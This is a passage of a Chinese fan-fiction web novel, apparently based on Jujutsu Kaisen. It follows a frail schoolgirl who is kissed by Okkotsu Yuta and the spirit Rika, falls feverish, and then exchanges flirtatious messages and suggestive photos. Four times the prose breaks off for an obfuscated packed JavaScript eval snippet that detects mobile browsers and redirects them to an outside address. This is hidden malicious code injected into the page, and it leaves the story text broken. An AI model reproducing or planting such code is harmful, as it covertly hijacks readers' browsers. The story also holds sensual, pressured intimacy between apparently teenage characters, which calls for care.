她又哭了出来,腿软得使不上力气,向下坐了些,又很快被人类的手掌揽住腰,同时,爪子状的东西默不作声地从后方而来,向上托起她。 “呜……” 薄叶千春的身前是比自己体温还高的人类身躯,身后则是不知何时覆盖而来的冰凉之物。 叩在腰间的手太热,托举着自己的爪子又太凉,在近乎无法呼吸的深吻中,她终于挺不住这种古怪又令人头皮发麻的感觉,彻底失力坐在爪骨上,被冰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647636|172777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得直掉眼泪。 对方吃去她的眼泪,大概察觉到她的不舒服,屈起一条腿,用膝盖接住她。 深蓝色的裙摆太大,轻松将膝盖挡住,只露出一点小腿和鞋子,裙摆褶皱上依稀能看到它向上顶了顶、想让薄叶千春站起来些的痕迹。 但她只想并腿。 “……唔,”她绞起腿,惊慌地进入下一个反抗阶段,“你!” 对方后知后觉地僵住,正在再次轻顶的膝盖也顿住,被薄叶千春慌乱地摁住,“不、不要!” “……” 对方放在她后脑的手向下移,摸了摸她的后颈,像是在答应。 然后又吻了过来。 「11.」 “忧太……忧太……忧太忧太忧太……” “薄叶!” 昏暗的更衣室里,看似狰狞的非人怪物在不停地嘶鸣,她凑到薄叶千春的面前,近距离地注视着:“薄叶……薄叶……” “好可爱,薄叶。” 薄叶千春睡着了。 失去意识的前一刻,她的情绪还停留在惊慌中,因此面色苍白,可又因为一次又一次的深吻,她的眼角眉梢都浮上一层微妙的薄红,两颊晕着红霞,唇是宛如桃肉的晶莹红色,整个人看起来像是一捧将要融化的春雪。 稍用力些,她就会哭出来。 她的脖颈、下巴和眼皮上蔓延着一些痕迹,有些是乙骨忧太留下的点点痕迹,像红色花瓣,有些则是里香情绪激动时留下的红色划痕。 没流血。 正因没流血,看起来很…… 里香垂首,像只是单纯地好奇闻嗅,近距离地看薄叶千春润红的唇,乙骨忧太从怔怔中回神,“里香……” 来时的愤怒已经消融,他整个人看起来有些畏畏缩缩和不安,看着里香把薄叶千春接过去,顿了几秒,垂着眼睛把地上的腿袜捡起来,低声说:“薄叶只是暂时忘记了我们。” “她没有把其他人当朋友……” “里香,”他迟疑地叫,“里香,你,” “先不要这样,薄叶会生病的……我们先把她送回家吧。” 5. 05 「12.」 薄叶千春在做梦。 梦中,她同人一起坐在秋千上,秋千像柳枝,轻柔地前后摆动。 当秋千向前摆时,她看见自己飞扬起来的裙角,听到在耳畔响起的清脆笑声,她茫然转头,看到身侧人在笑。 对方的面容不甚清晰,唇下有一颗小痣,黑色的,很浅淡,随着大笑灵动起来,格外吸睛,痣上方的唇一张一合,在说话:“好玩吧,心情好一点了吗?” 是女孩子的声音。 当秋千向后摆时,她们飞扬起的黑色长发和白裙如蒲公英,扑回她们的面颊、手臂和身躯上。 薄叶千春感觉自己在用力抱紧对方,听到从自己喉咙里发出的低低应声,“嗯。” 那位看不清面容的女孩子又笑了起来,她也紧紧地抱着薄叶千春,像是一只欢快的鸟儿,“我说过的,我可以给你带来快乐呦,薄叶——” 她叫了几遍‘薄叶’,将脸贴过来,声音更近,也更轻,带来一些细微的痒意,“不可以讨厌自己的名字,薄叶才不是冬天呢,是如花朵般轻盈美丽的春天,就是很适合‘千春’呀。” “【——】,”轻微的金属嗡鸣响起,将对方似乎叫出的一个名字扭曲,“你说是不是?” 身后,有很轻的脚步声停下,秋千停了下来,一只小孩子的手从后方伸来,举着一个冒着冰霜的粉色袋子。 “只、只有这个口味的雪糕了。” 是男孩子的声音。 和那位面容模糊的女孩子一样,薄叶千春同样看不清他的脸,甚至更模糊,只能在视野边缘看到他不到二分之一的轮廓,隐约看到他在边点头、示意赞同,边说话,似乎有些紧张,那只小孩子的手握紧了雪糕的包装袋,在袋子的摩擦声中结结巴巴的。 而后,是女孩子似乎有些惋惜、又有些轻飘飘和愉悦的声音,“咦,刚好没有薄叶最喜欢的薄荷味吗?好可惜。” “那薄叶只能吃桃子味的雪糕了。”她说,“不过桃子口味是这个系列雪糕里最好吃的口味了,我很喜欢吃,也很想薄叶第一次吃雪糕、就是我最爱的味道。” 那个粉色雪糕袋子里是一颗又一颗的圆形冰球,共有五颗,圆嘟嘟地堆在一起,在被打开的那一刹那,似曾相识的清甜桃子气息便随着凉意弥漫而出。 面容模糊的女孩子捻起一颗,递到薄叶千春唇边,声音轻柔:“薄叶要记住第一次的味道呦。” 她问:“以后再吃雪糕或桃子味的东西,都会想起我吧?” 自己回答了什么,薄叶千春不太清楚,她只是只知道自己垂首,视野的大半都是粉色冰球、木棍和白色的纤细手指。 冰球先是点点她的唇畔,而后在她试探性张口时忽然远离。 大部分视野又被那位女孩子的唇角和痣占据,对方说:“薄叶只能吃一点点,所以不可以含着吃。” 不能吃一整颗…… 在粉色冰球再次抵过来后,薄叶千春想了想,试探性地探出舌尖,小口舔了一下。 有点冰,不是很舒服。 但在她蹙起眉之前,有远比气味更清甜、更难以形容的味道沿着舌尖漫开,甜意弥漫到了她的脸颊上,让她弯起眼睛、露出笑容。 她说:“好甜。” 不过,身体不好的人大概确实不能吃这种冰凉的东西。 很快,有身形高大的黑白色人簇拥而来,白色的是医生,黑色的是西装。 在人群中,她看到自己的父亲。 那两个面容模糊的孩子和她站在一起,那名女孩子牵着她的手。 父亲似乎说了些什么,女孩子吃着冰球,不动声色地带着薄叶千春后退一两步,唇角却扬起,面不改色地说了些哄骗大人‘我们只坐在凳子上吹了会儿风,其他的什么都没有干’的话。 大人们信了。 薄叶千春听不太清晰他们的话,她移动着视线打量周围,发现那名男孩子手中还托着那袋雪糕,里面只剩下三枚粉色冰球,少了两枚。 顺着那只手看上去,她看到对方口中在吃着一枚冰球,大概是不喜欢吃甜的,他只是简单地把冰球卡在齿间,任由冰球渐渐融化、甜水流进嘴里。 等等。 冰球只有五颗,她舔了一颗,面容模糊的女孩子吃着一颗,面容模糊的男孩子含着一颗,不应该剩下两颗吗? 怎么还剩下三颗? ……谁把她尝过的冰球吃了吗?! 薄叶千春眨了眨眼睛,又看向仍和大人交谈的女孩子。 交谈间,对方若有所觉地侧首,唇畔的笑意真切了些,那颗痣仿佛有了灵性,点缀在浅红色的唇下,在唇一张一合间,颜色柔嫩的冰球在转动,将比出口型的唇瓣冰得更红: [不会被发现的,我说过,会让薄叶快乐呦。] 「13.」 身体很沉重,头晕晕的,周围的温度十分高,好像在夏天裹着棉被睡觉,薄叶千春难受极了。 她从记不清晰的梦里挣脱出来,昏昏沉沉地睁开眼睛,发现眼前雾蒙蒙的,好像有一道人影。 对方似乎在用毛巾帮她擦掌心,留下一些冰凉潮湿的痕迹,把她的温度降下去些,很舒服。 看不太清是谁…… 头好晕…… 非常熟练的,薄叶千春判断:发烧了。 身体不好是这样的,跑会儿步会发烧,用脑过度会发烧,吹点风会发烧,稍微受点惊吓也会发烧,她早已习惯。 只是,没想到身体渐渐好起来后,她还是那么容易发烧,不过被吓了吓…… 但‘非人存在’这次真的很吓人啊! 它居然会模仿人类了! 还弄出了一具人类的尸体! 是用力量把狰狞身体的一部分幻化成人形,还是…… 还是真的干掉了一个人,把对方的身体抢走了? 前者,薄叶千春很担忧:它不会吃过人吧?不会把人的头、腿和脚都吞进过嘴巴里吧?! 后者,她也很担忧:它不会挑都没挑,随便抢了一具身体吧,对方干净吗? 她还被亲那么久…… 不过挺甜的。 越思考,薄叶千春的头越痛,她费力地眨了眨眼睛,还是无法看清正在照顾自己的人影,只能在发出一点勉强组成道谢的气音后,顺着越来越沉重的眼皮闭眼。 她再次睡去。 「14.」 这一场烧持续了很久。 断断续续醒来又睡去几次,薄叶千春才彻底清醒。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647637|172777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她有些茫然地睁开眼,把搭在额头的帕子取下来,费力地坐起来,在终于清晰的视野中,发现自己居然睡在自己的房间里。 床侧书桌上还放着一个小盆,盆边搭着一条白色的毛巾,桌面上有些点点水迹,看起来是刚溅出来的,说明不久之前有人在洗毛巾,但可能恰巧有急事,于是在她醒来时匆匆离开。 大概是保姆。 等等,毛巾…… 后知后觉的,薄叶千春低头,发现自己身上穿着不知从哪来的吊带睡裙,睡裙是白色的,领口处沾了点水,有点透。 她右侧手臂很清爽,应该是刚刚被擦拭过。 手机在枕头边。 有新消息发来,屏幕亮起,是同桌:[下个星期有火花大会耶,一起去玩吗,千春?] 薄叶千春盯着消息上方的日期看:[月曜日] 月曜日,是周一。 但薄叶千春转学的那一天,是周四。 ……她生病足足生了四天?! 薄叶千春大惊失色,立刻解锁手机查看消息。 在这四天中,同桌给她发了很多消息,最开始是周四下午问她在哪,语气从奇怪到惊慌,还拨打了几次电话,但很快,她放松下来,体贴地说了些‘薄叶不舒服就好好休息,我会想你的’、‘真的不用我陪你吗?明明以前都一直在一起的’和‘想我了记得给我发消息,我会第一时间赶到’的话。 之后,每隔一段时间,她都会发些询问身体情况、表达担忧、可爱的动物等等之类的消息,中间有一次因为迟迟没有被回复而生气。 但只生气了大约不到半天,她就又可怜兮兮地回来,左问一句‘是不是涂唇釉的时候用手指,你不开心了?’,右问一句‘是刚运动完就碰你,你不高兴了?’,而后接连道歉,说‘无论如何,千春都不要已读不回我好不好’。 ‘已读不回’? 头还有点钝钝的痛,薄叶千春蹙着眉头反应片刻,才反应过来:刚拿起手机时,她和同桌的对话框确实只有一条未读。 应该是照顾你的保姆翻看了手机? 她不确定,也不是很喜欢被人动手机,抿着唇回复了几条解释自己之前发烧、现在才醒的话,又答应下花火大会的邀请,才继续翻看聊天记录。 记录中,在薄叶千春生病后,有人以她的口吻向老师请假。 ……‘保姆’或许会无礼地翻看她的手机,但不会用她的口吻和老师请假。 隐隐的不妙预感被验证,薄叶千春怔了会儿,屈指摁了摁眉心,才又继续翻看手机。 她的好友列表里多了一位联系人。 对方看起来是小号,头像和昵称都是空白的,像是一个不存在的幽魂。 在薄叶千春的注视下,一条消息忽而弹出:[厨房有粥,记得喝。] 过了片刻,大概是发现被已读却没收到回复,对方发出新消息。 [我是‘幽灵’。] ‘幽灵’慢吞吞地说:[不想我再对你做过分举动的话,记得喝。] 薄叶千春:“……” 她握着手机想了一下,又想了一下,再三想了一下,最终,编辑出一个很重要的问题: [那个,请问你是第一次吗?] 6. 06 「15.」 有一段时间,薄叶千春对‘非人存在’其实还算喜欢。 那是她刚认识同桌不久时,同桌说:“‘吻’是用来表达喜欢的,接吻并不是恋人才可以进行的事,朋友之间也可以。” “正如我觉得千春很可爱、想要保护你、和你当一辈子的朋友,所以偶尔会想亲亲你呦。假如要接吻,千春,你第一个想起的会是谁呢?” 想要保护,想要当一辈子的朋友,可以组成‘接吻’吗? 在这种前提下,假如要接吻,第一个想起的会是谁呢? 当时,薄叶千春已经不再频繁转院,也渐渐适应了偶尔会在夜晚降临的浓郁阴冷气息和身体上时而会出现的红色划痕,不再像一开始那么畏惧,还有隐隐几分‘只要不伤害我,就没什么吧?’的妥协心理。 所以,在认真思索后,她脑海中浮现出的接吻对象,是:‘非人存在’。 如果接吻,那‘非人存在’应该会保护她吧? 就像是守护灵一样。 于是,在下一次‘非人存在’降临,在深夜拥抱住她,把她冻醒之后,她没有再按照大人的指示装睡,而是假装睡得迷迷糊糊地拥抱住‘非人存在’。 对方太大,她只能勉强抱住一点,闭着眼,用脸颊去蹭对方大概是脸的位置,又很试探地用唇瓣贴了贴,留下一个可以说是无意间蹭到、也可以说是脸颊吻的吻。 她亲了几下,说出喃喃的‘梦话’:“保护我……” ‘非人存在’僵住了。 错觉般的,薄叶千春隐隐听到了嗡鸣,一种有些尖锐、像蚊虫低鸣,在病房里盘桓不去的嗡鸣。 似乎是‘非人存在’在说话,嗡鸣中,好像夹杂着几声人类的声音,大概是对方想模仿人类的语言、对她说什么,她听不清,但能推测出对方大概很高兴。 那天晚上,‘非人存在’第一次没有待到天亮,在半夜,便于高频率的嗡鸣中消失不见。 ……是害羞了吗? ‘非人存在’好像还蛮好对付的? 有点可爱。 这个虚假、浅薄的印象,在‘非人存在’又一次出现,高高兴兴地降临,却发现薄叶千春在和她人相拥而眠时,被尖锐的爆鸣声撕碎。 「16.」 但现在,这个印象又悄然浮现。 可能是因为对方居然主动亲吻她,用……用一种在人类社会中,绝对属于恋人范畴的姿势,深入而迫切地拥吻她。 可能是因为对方居然弄出了一具人类的、在接吻中会热起来的身躯,还会帮她请假,在她发烧时照顾她,会使用通讯工具,越发得像人类。 可能是因为它没有对同桌动手,哪怕生气地吃掉她的唇膏,撕扯掉她的腿袜,拽下她的外套,哪怕看到了同桌一条又一条的亲密消息,它也没有像几年前一样怒而动手,显然真的通了人性。 也可能是因为在那个吻中,薄叶千春清晰地感知到一件事:‘非人存在’需要她。 总之,‘非人存在’似乎很好对付的印象,又从她的脑海中浮现出现,同时浮现的,还有她的心中一动:要不……试着‘对付’一下? 万一成功了,以后就再也不用担惊受怕了。 反正只要不过分,就算失败了,最多也就是再被亲一亲吧? ……应该吧? 「17.」 手机嗡鸣一声,提示新消息:[?] 薄叶千春收敛思绪,她在床上翻了个身,蹙起眉盯着问号思忖片刻,觉得既然对方现在在使用人类的社交软件、用人类的文字,消息自然也要从人类的角度理解。 问号,在人类的角度是疑惑的意思,大概是对方没有看懂‘那个’的含蓄代指,没有理解问题吧? ……这么一想,‘非人存在’还有点笨笨耶。 她重新编辑文字,问:[接吻,你是第一次吗?] 一秒。 两秒。 三秒。 几分钟过去了,对话框静悄悄的,没有一丝动静。 薄叶千春:“?” 她翻了两下身,趴在枕头上,不是很开心地蹙眉:[不是第一次?] 对面秒回:[是第一次。] 咦,还在? 那为什么刚刚迟迟不回消息? 薄叶千春立刻问:[和我接吻的那具人类躯体是你抢来的,还是你怨气凝聚而成的?] [你有没有用嘴巴吃过人?] [吃过人的话,有没有洗一洗?] [你有几张嘴巴,有没吃过人的嘴巴吗?] [我不是很想和吃过人的嘴巴接吻……] 最后一句,其实有些微妙:明明已经接吻过,却提‘不想和吃过人的嘴巴接吻’要求,这个要求,是为下一次接吻而提的吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647638|172777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她认为会有下一次接吻吗? 一秒。 两秒。 三秒。 几分钟过去,对话框仍是静悄悄的,没有任何动静,薄叶千春蹙起眉:[你没有没吃过人的嘴巴?] 再凝聚一个人类的身体嘛!或者再抢一个人类身体嘛! 反正是非人的存在,多几张嘴巴很正常吧?专门留一个嘴巴用来接吻也很正常嘛! 对方再次秒回:[没有] [没有吃过人] 没有‘我’这个人称代词。 薄叶千春没太注意,她仍蹙着眉,去翻单位到秒的消息记录,她最后一条消息的时间是:[21:07:31] 对面回复第一句的时间是:[21:07:32] 是实打实的秒回。 这说明对方没有切屏,在收到消息时,手机页面停留在对话框,操控手机的手指或爪尖也停留在输入框的上方,不然不会秒回得如此之快。 但…… 既然一直在,没有离开,为什么有两次那么久不回啊? 是不熟悉人类的语言,回复很慢吗?看秒回的速度,也没有吧。 那就是问题令对方不知道怎么回? 薄叶千春看了看自己问的那几个问题,盘腿坐起,思忖几息,在输入框中删删减减了片刻。 两分钟后,她边庆幸还好line不显示「对方正在输入中」,边发出带有可爱语气词的消息:[我也是第一次喔] [我之前从来没想过接吻呢,漫画里接吻明明很唯美,但可能是我身体不太好,感觉接吻真的好累欸] [还有点痛] 她掀开裙子下摆,在身上巡视几秒,挑了个角度,斜着用手机拍了张腰侧的照发过去:[照片] 照片上,是一截斜着的腰线,莹白如玉,只是上面浮着几根长长的痕迹,是人类手指在用力揽紧时留下的,几天过去,早已由红转紫、又由紫转为淡粉的,一开始或许会狰狞,现在看来却只觉旖旎。 照片的一角,是似乎不小心拍到的一点腿,因绷紧身体和盘腿而坐,那部分腿肉也是绷紧的、晕着莹莹的光泽,两三道红痕由外至内,像是几枝交错的红梅,蔓延着消失在腿的根部,被挡住。 薄叶千春:[真的很痛欸] ‘我的身体真的很脆弱,在对待我时,你需要温柔、温柔、再温柔一点。’ 7. 07 「18.」 对不起。 对不起对不起对不起。 对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起…… 乙骨忧太不停地无声道歉,仿佛稍把‘对不起’念得慢一点,一些过分的、难以启齿的东西就会从大脑里冒出来。 掉落在地上的手机还亮着屏,那张照片还占据着屏幕的二分之一,让人几乎有些恍惚手机屏幕的光芒是由那段莹白腰线散发而出的。 [真的很痛欸] 带着亲昵、仿若女友撒娇的对话就在照片下方,似有意引着乙骨忧太去仔细观看照片上的每一处细节、为自己之前的失力而歉意。 但是,可能是因为这张照片太过男友视角,可能是因为薄叶千春像在撒娇,非常卑劣的,比起‘歉意’,一种更浓郁的、有些无法言说的念头在乙骨忧太的身体里升起,像是浸泡四肢的暖洋洋温泉一样,溢得他颤抖着蜷缩在阳台最边角,紧紧抱住自己。 他缓了片刻,才伸手去抓之前因惊慌失措而失手摔到腿边的手机,又更加惊慌地发现因为他的手比手机大,在轻松拢住手机时,像无意间又揽住了那截腰肢。 “嗡。” 手机微不可察地嗡鸣一声,在他的掌心里轻颤,照片被新消息顶上去了些,但仍有部分白色还在,随着手机的震动而轻轻颤抖。 就像是在更衣室时那样。 乙骨忧太用很低、很低的声音说:“对不起……” 现在闭上眼睛,他的眼前还会浮现出昏暗的更衣室。 更衣室里,薄叶千春哽咽时其实发不出声音,泣音都被吃掉了,她算是无声哭泣的,每一次艰难吞咽时,她都在颤抖。 不只是身体,连口腔内部都在抖。 又因畏惧冰凉尖锐的爪子触感,她不得不攀住乙骨忧太的肩膀,不自觉地向上挺腰,主动接近在描绘自己颤抖的舌头,想要摆脱探进来的冰凉感。 她没什么力气,也没有经验,不懂什么姿势最适合发力,在腿像柔软有韧性的柳枝缠绕着夹住乙骨忧太的腰时,还需要爪子托着她、人类的手掌揽住她一侧的腿弯,她才能勉强悬在半空中。 但这个姿势,薄叶千春的腹部会和乙骨忧太贴在一起,所以往往只挺腰向上十多秒,她就会无法忍受腹部被染烫的感觉,会想往后退,也没什么力气继续挺起,只能泄力往下坐。 ……然后,不到一秒,就会在探进裙摆的冰凉触感中飞快地重新挺起腰。 如此一来一往,她像是欲迎还拒、有意迎合深吻的微妙感。 这不是故意的。 薄叶千春身体不太好,在许多事上便格外敏锐,比如对温度的感知,她受不了太冷的东西,也受不了太热的东西,有时只是夜里气温稍冷些,她就会低烧,更何况是对比如此强烈、存在感又如此鲜明的冷与热。 这是本能反应。 这是因欺负她的人不肯放开她,而激发出的本能反应。 “对不起,对不起……” 乙骨忧太的声音很低。 手机还在无声嗡鸣,一下又一下地颤抖着,那张亲昵的照片已经被新消息顶了上去,薄叶千春在困惑地问他还在不在。 line的聊天背景和气泡都是白色的,照片被顶上去后,白色反而越发得多。 那是一种冷冰冰的白,和薄叶千春不一样。 在昏暗中,薄叶千春是一种莹白,当她被欺负一段时间,莹白会显得有几分像将要融化的春雪,好像他人的手掌用力一点就可以捧起含进嘴里。 在阳光的照耀下,她是一种暖色调的白,在白得几近透明时,面颊、眼睑、肩头会晕出点点的粉,随着近来她越发健康,那种代表着生机的粉也越发鲜活。 低烧时,她的面颊会更红,连带着脖颈都会出现一片片的红晕。 她对温度的感知也比平时更敏锐,无论是被里香触碰,还是被乙骨忧太触碰,都会不自觉地低颤,被触碰的地方也会泛起细细的颗粒,被碰得多了,就会把自己缩成一团,像是不高兴被摸肚皮的小猫咪。 要为薄叶千春擦拭身体,就必须让里香抱着她。 哪怕她意识并不清醒,长久的习惯也仍刻在潜意识里,一被里香抱住,她就会僵住。 里香把她摆成什么姿势、她就会维持成什么姿势,任由乙骨忧太如何擦拭她的掌心、手臂或其他地方。 只是,会颤抖。 薄叶千春身材高挑,可是身体虚弱,体重自然偏轻到不健康的程度,连身为人类男性的乙骨忧太在拥抱她时、都能将她挡得只露一点手和腿,更何况是非人的里香。 里香抱着她,就像是人类抱着一只被吸过度的小猫咪,低低头就能把她蹭得仰头露出脖颈,可怜兮兮地任吸。 被吸久了,在洗漱刷牙的环节,她就不怎么配合,会咬住牙刷,乙骨忧太必须要把手指探进去,屈指任她咬着,才能勉强帮她清理口腔。 薄叶千春左侧的虎牙要比其他牙齿都尖锐许多。 现在,乙骨忧太左手食指的第二个指节还留着几个胡乱的牙尖痕迹。 像是恋人胡闹时留下的爱痕。 他蜷了蜷手指,没感觉到什么痛意,便又动了动舌头,感受舌尖传来的点点痛意,在仿佛糖果的痛意中,那种浓郁的、仿佛在温泉中浸泡的感觉达到顶峰,“对不起,对不起,对不起……” 「19.」 “啪嗒。” 客厅的灯亮起。 暖色调的白炽灯撒出洁白的光辉,一部分的光透向阳台,把黑漆漆的阳台照出一线光亮。 乙骨忧太僵在阳台的边缘,盯着离自己只有一掌之隔的光看,有细碎的声音传进他的耳中: 首先是薄叶千春的脚步声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647639|172777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,很轻,像草叶在风中碰撞的簌簌声,她慢慢从客厅走向浴室。 其次是浴室的灯和水龙头被打开的声音,水声像浪花,把其他的声音都压下。 而后,是被水声掩盖了许多的洗漱声。 中间夹杂了一些必须凝神才能听到一些的吃痛吸气声,大概是薄叶千春刷牙时碰到了伤口。 捕捉到吸气声后,乙骨忧太自动过滤掉水声和其他的噪音,听薄叶千春的呼吸声。 因发烧,她的呼吸要比平时更重些,像是就在乙骨忧太的身边,在他的怀中,紧贴着他的肋骨。 每当含住水和吐出水时,她都会发出一点‘唔’的忍痛和不满声,呼吸也会再次变重。 她没什么避开伤口的经验。 乙骨忧太有。 他看着距离自己很近的浴室窗户,渐渐攥紧手掌。 手机响了一下,提示新消息:[照片] 照片中是一段手腕,白皙的腕部上有一颗鲜艳的红色小痣,一道淡淡的细长红痕和半个浅淡的牙印压在红痣上。 是乙骨忧太的齿痕。 几乎是照片显出的那一瞬间,手机再次飞了出去,发出了一点和地面碰撞的沉闷声响,它被水花声覆盖,没有传进浴室。 薄叶千春问:[你是打算吃掉我吗?] 大概是觉得这个问题有可能给‘非人存在’灵感,发出两三秒,她就飞快地撤回。 在浴缸近满、逐渐变小的水花声中,乙骨忧太听到了湿漉漉手指匆忙点在屏幕上的粘稠声响。 他慢吞吞地垂下眼睛,伸手捡起已经裂了一点屏幕的手机,再次蜷缩起身体,把脸埋在膝盖和手臂间,只露出一点眼睛。 一墙之隔的浴室里,因进入外物,浴缸里的水花轻轻回荡起来,和女孩子用柔软手掌拨动水面的声音重叠成一种截然不同的变调轻声。 水花声在变大,在热腾腾的雾气中,薄叶千春轻轻地舒出一口气,用带着水色的手指,轻轻点了点屏幕,询问:[你还在吗?] 她舒展有些酸的腿弯,无意识地发出点‘唔’声,翻身,在水声中,摁下语音键,用一种真的很困惑、还有一点点不高兴,宛如女友在埋怨的语气,发出一条语音:“你怎么总是已读不回我呀?” …… 墙壁仿佛消失了。 明明有着一墙之隔,乙骨忧太却仿佛蹲在浴缸的尾端,在暖洋洋的水中,他紧紧低着头,身体颤抖着,几乎无法发出任何声音,只能被动地听着薄叶千春舒展身体,听着她不高兴地轻哼,听着她自水中探出手臂,把手机放到台子上。 颤抖中,有点点水珠落在地上。 乙骨忧太慢吞吞地抬起头,用湿漉漉的手指点了点屏幕。 屏幕没有任何反应。 这下不用反复删减许久,打出一段段根本不会被发出的解释和道歉文字了。 手机,坏掉了。 8. 08 「20.」 打出去的那一瞬,消息直接显示「已读」,快得「未读」只一闪而逝,连个残影都没有留。 但没有回复。 薄叶千春蹙起柳眉,不是很开心地划了几下屏幕,手动刷新。 还是没有回复。 手机有点大,有套了一层防水袋,沾了水后滑滑的,很不好拿,总是会发出一点滑动和袋子摩擦的簌簌声,她干脆把它放到台子上,吹了吹水面上的白色泡沫,觉得浴室里太闷热、泡得有些头晕,便站起来,随手拽过浴巾,简单遮挡住自己。 浴室的窗户在浴缸正上方,浴缸靠近墙壁的边很宽,是有意延伸出去的,形成一个可以放各种洗漱用品的掌宽平台,她踩上平台,在水声中把高窗打开一点缝隙。 有冷风吹进来。 不,更确切地说,是‘钻’进来。 有些阴凉,带着点浓稠感、仿若冷血动物呼吸气流的冷风顺着窗户缝隙钻进来,如蛇般缠绕在薄叶千春的指尖,又顺着她的胳膊蜿蜒,轻而易举地激起一片细小的皮肤颗粒。 她顿住,指尖维持着推窗的动作,定格在窗间。 是在浴室里待太久,适应了高温的热气,反而不习惯外面正常温度的风,才会觉得风有点冷吗? 搭在窗户上、从外面可以看到的那一部分指尖仿佛在一寸寸变凉,薄叶千春蹙着眉,收回手,重新退至浴缸里。 浴缸里的水面回荡起来。 温暖的热水一圈圈地漫着小腿,将不是很自在、仿佛被注视的感觉推远,她有些迟疑地思考:不会是…… ‘非人存在’还在附近,没走远吧? 仔细想想,确实有可能,她清醒过来时,身体只被清理一半,水盆和毛巾还在桌子上。 就是不知道‘非人存在’为什么匆匆离开…… 不会是去进食了吧…… 薄叶千春决定:在打听出‘非人存在’的食谱之前,暂时先原谅它已读不回的事。 她收拢浴巾,把浴缸里的水放了,走出浴室。 「21.」 [厨房有粥],是指白粥。 可能,大概,也许,应该,是‘非人存在’煮的。 ……非人类居然也会制作人类食物吗?! 是怎么做的? 这粥真的能喝吗?! 狐疑地嗅了嗅,只闻到大米的香味,薄叶千春才将信将疑地盛了半碗粥,又勉强说服自己不要思考‘煮粥前有没有淘洗米’、‘水是饮用水还是接的自来水’、‘有没有什么非人携带的病毒或霉菌’之类的问题。 她把碗放在餐桌边,用勺子搅了搅,把碗的边缘打湿、制作出看似‘盛了一整碗,喝到只剩半碗’的假象,拍照给‘非人存在’发出去: [是你做的吗?很好喝欸。] 发完,看着秒「已读」的消息,她后知后觉地怔了怔,又补发一条:[为什么是白粥?] 是因为白粥最好做,只需要水和米,是厨房新手也能轻松完成的粥类,很适合有爪子有人手、第一次做饭的非人,还是因为…… 她的习惯是,感冒发烧时只会吃不太有味道的食物? 发烧会影响味觉。 每次发烧,无论吃什么东西,薄叶千春都觉得没什么味,吃起来很没兴致,久而久之,在发烧期间和刚退烧时,她就干脆只吃本来就没什么味道的东西。 又因为她以前身体很不好,一发烧就发烧很久,一天只有片刻是清醒的,经常隔一段时间才进食,所以在没什么味道的食物中更偏向于流食。 但这是医生、家人和朋友才知道的事,几个月才降临一次的‘非人存在’不应该知道。 是巧合吗? 薄叶千春又晃了晃勺子,若有所思地站了片刻,眉头蹙起又松开,犹豫许久,才试探性地低头,含住一点勺尖。 没有怪味。 不仅没有糊味、放了调料等等厨艺方面的怪味,甚至连血腥味、腐臭味之类的怪味也没有。 大米的清香从舌尖弥漫来开,温热的粥碰到口腔里的伤口时,引起一种麻麻的痛感。 感觉……还好? 这仿佛是一碗普普通通、由人类煮成的粥,没有一点非人的痕迹。 薄叶千春坐下,又接连抿了几口。 对食物,她其实不算挑,什么都能吃几口,但也只能吃几口,她的食量和心情有关,有时心情比较好,吃得就多一些,有时心情不算太好,她慢吞吞吃几口就会饱。 此时,她的心情不算太好,可因为太过惊奇,反而进食很轻松。 吃到一半,手机响动一下,提示新消息。 薄叶千春立刻去看,发现‘非人存在’还是已读不回,发消息的是同桌。 获得解释,知道薄叶千春不是因为生气才不理自己、而是因为生病,她一下子从‘担心朋友生气’跃向‘担心朋友身体’,接连询问了几条现在是不是还是很难受、要不要来探病、多久可以去学校之类的消息。 [虽然身体还是有点没力气,但是明天应该就会彻底好,]薄叶千春回复,[明天就可以去学校!] 她又边发过去一个猫咪打滚的表情包,用轻快的语气问同桌有没有想自己,边垂下手,指尖在膝盖附近摸了摸。 